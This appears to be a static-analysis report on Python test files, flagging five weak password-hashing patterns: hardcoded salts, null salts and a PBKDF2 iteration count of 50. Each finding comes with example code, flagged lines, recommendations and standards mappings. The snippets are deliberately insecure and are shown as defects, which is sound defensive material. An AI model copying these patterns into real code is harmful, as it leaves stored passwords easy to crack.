Weak Cryptographic Hash: Hardcoded PBE Salt

Description

A hardcoded salt may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to hardcode a salt. Not only does a hardcoded salt allow all of the project's developers to view the salt, it also makes fixing the problem extremely difficult. After the code is in production, the salt cannot be easily changed. If attackers know the value of the salt, they can compute "rainbow tables" for the application and more easily determine the hashed values. Example 1: The following code uses a hardcoded salt:

```
...
from hashlib import pbkdf2_hmac
dk = pbkdf2_hmac('sha256', password, '2!@$(5#@532@%#$253l5#@$', 100000)
...
```

This code will run successfully, but anyone who has access to it will have access to the salt. After the program ships, there is likely no way to change the salt "2!@$(5#@532@%#$253l5#@$". An employee with access to this information can use it to break into the system.

Severity

Medium

Vulnerabilities

File tests\Weak_Cryptographic_Hash__Hardcoded_PBE_Salt.py, Line 4, Pos 1

```
4 hashlib.pbkdf2_hmac(param1, param2, "salt")
```

File tests\Weak_Cryptographic_Hash__Hardcoded_PBE_Salt.py, Line 6, Pos 1

```
6 pbkdf2(param1, "salt")
```

Recommendations

● When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

● If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 760
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.4.1 Credential Storage Requirements, 2.4.2 Credential Storage Requirements, 2.4.5 Credential Storage Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3

[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[23] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

Weak Cryptographic Hash: Hardcoded Salt

Description

A hardcoded salt may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to hardcode a salt. Not only does a hardcoded salt allow all of the project's developers to view the salt, it also makes fixing the problem extremely difficult. After the code is in production, the salt cannot be easily changed. If attackers know the value of the salt, they can compute "rainbow tables" for the application and more easily determine the hashed values.

Example 1: The following code uses a hardcoded salt:

```
...
from django.contrib.auth.hashers import make_password
make_password(password, salt="2!@$(5#@532@%#$253l5#@$")
...
```

This code will run successfully, but anyone who has access to it will have access to the salt. After the program ships, there is likely no way to change the salt "2!@$(5#@532@%#$253l5#@$". An employee with access to this information can use it to break into the system.

Severity

Medium

Vulnerabilities

File tests\Weak_Cryptographic_Hash__Hardcoded_Salt.py, Line 4, Pos 1

```
4 my_salt = "salt"
```

File tests\Weak_Cryptographic_Hash__Hardcoded_Salt.py, Line 6, Pos 1

```
6 data["sALT"] = "salr"
```

File tests\Weak_Cryptographic_Hash__Hardcoded_Salt.py, Line 8, Pos 1

```
8 make_password(param1, param2, salt="asdw")
```

File tests\Weak_Cryptographic_Hash__Hardcoded_Salt.py, Line 10, Pos 1

```
10 salted_hmac(param1, "aasdw")
```

Recommendations

- When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
- If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 760
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage

[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.4.1 Credential Storage Requirements, 2.4.2 Credential Storage Requirements, 2.4.5 Credential Storage Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[23] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

Weak Cryptographic Hash: Insecure PBE Iteration Count

Description

The iteration count used by a password-based key derivation function is too low.

Explanation

A key derivation function is used to derive a key from a base key and other parameters. In a password-based key derivation function, the base key is a password and the other parameters are a salt value and an iteration count. An iteration count has traditionally served the purpose of increasing the cost of generating keys from a password. If the iteration count is too low, the feasibility of an attack increases as an attacker may compute "rainbow tables" for the application and more easily reverse hashed password values.

Example 1: The following code uses an iteration count of 50:

```
...
from hashlib import pbkdf2_hmac
dk = pbkdf2_hmac('sha256', password, salt, 50)
...
```

Applications that use a low iteration count for password-based encryption are exposed to trivial dictionary-based attacks, exactly the type of attack that password-based encryption schemes were designed to protect against.

Severity

Medium

Vulnerabilities

File tests\Weak_Cryptographic_Hash__Insecure_PBE_Iteration_Count.py, Line 2, Pos 6

```
dk = pbkdf2_hmac('sha256', password, salt, 50)
```

Recommendations

- Set the iteration counter to at least 100000

Links

[1] B. Kaliski PKCS #5: Password-Based Cryptography Specification Version 2.0. Network Working Group (https://www.ietf.org/rfc/rfc2898.txt)
[2] Martin Abadi and Bogdan Warinschi Password-Based Encryption Analyzed. (https://users.soe.ucsc.edu/~abadi/Papers/wp.pdf)
[3] Mihir Bellare, Thomas Ristenpart, and Stefano Tessaro Multi-Instance Security and its Application to Password-Based Cryptography. (https://eprint.iacr.org/2012/196.pdf)
[4] M. Egele, D. Brumley, Y. Fratantonio, and C. Kruegel An Empirical Study of Cryptographic Misuse in Android Applications. (http://www.cs.ucsb.edu/~chris/research/doc/ccs13_cryptolint.pdf)
[5] Meltem SonmezTuran, Elaine Barker, William Burr, and Lily Chen NIST Special Publication 800-132: Recommendation for Password-Based Key Derivation. NIST (http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf)
[6] Standards Mapping - Common Weakness Enumeration CWE ID 916
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[8] Standards Mapping - FIPS200 MP
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[12] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[13] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[15] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[16] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[17] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.4.1 Credential Storage Requirements, 2.4.2 Credential Storage Requirements, 2.4.3 Credential Storage Requirements, 2.4.4 Credential Storage Requirements, 2.4.5 Credential Storage Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3

[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[28] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

Weak Cryptographic Hash: Null PBE Salt

Description

A null (None) salt may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to use a null (None) salt. Not only does using a null salt make it significantly easier to determine the hashed values, it also makes fixing the problem extremely difficult. After the code is in production, the salt cannot be easily changed. If attackers figure out that values are hashed with a null salt, they can compute "rainbow tables" for the application and more easily determine the hashed values.

Example 1: The following code uses a null (None) salt:

```
import hashlib, binascii
from django.utils.crypto import pbkdf2
...
def register(request):
    password = request.GET['password']
    username = request.GET['username']
    dk = pbkdf2(password, None, 100000)
    hash = binascii.hexlify(dk)
    store(username, hash)
...
```

This code will run successfully, but anyone who has access to it will have access to the null salt. After the program ships, there is likely no way to change the null salt. An employee with access to this information can use it to break into the system.

Severity

Medium

Vulnerabilities

File tests\Weak_Cryptographic_Hash__Null_PBE_Salt.py, Line 7, Pos 10

```
7    dk = pbkdf2(password, None, 100000)
```

File tests\Weak_Cryptographic_Hash__Null_PBE_Salt.py, Line 11, Pos 1

```
11 hashlib.pbkdf2_hmac(param1, param2, None)
```

Recommendations

- When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
- If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 759
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.4.1 Credential Storage Requirements, 2.4.2 Credential Storage Requirements, 2.4.5 Credential Storage Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[23] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II

[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

Weak Cryptographic Hash: Null Salt

Description

A null salt (None) defeats its own purpose and may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to use a null salt (None). Not only does a null salt defeats its own purpose but it allows all of the project's developers to view the salt and it also makes fixing the problem extremely difficult. After the code is in production, the salt cannot be easily changed. If attackers know the value of the salt, they can compute "rainbow tables" for the application and more easily determine the hashed values.

Example 1: The following code uses a null salt (None):

```
from django.utils.crypto import salted_hmac
...
hmac = salted_hmac(value, None).hexdigest()
...
```

This code will run successfully, but anyone who has access to it will have access to the salt. After the program ships, there is likely no way to change the null salt. An employee with access to this information can use it to break into the system.

Severity

Medium

Vulnerabilities

File tests\Weak_Cryptographic_Hash__Null_Salt.py, Line 4, Pos 1

```
salt = None
```

File tests\Weak_Cryptographic_Hash__Null_Salt.py, Line 6, Pos 1

```
data = {"my_salt": None}
```

File tests\Weak_Cryptographic_Hash__Null_Salt.py, Line 8, Pos 1

```
make_password(param1, None)
```

File tests\Weak_Cryptographic_Hash__Null_Salt.py, Line 9, Pos 1

```
salted_hmac(param1, param2, salt=None)
```

Recommendations

- When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
- If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 759
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.4.1 Credential Storage Requirements, 2.4.2 Credential Storage Requirements, 2.4.5 Credential Storage Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data,

9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[23] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
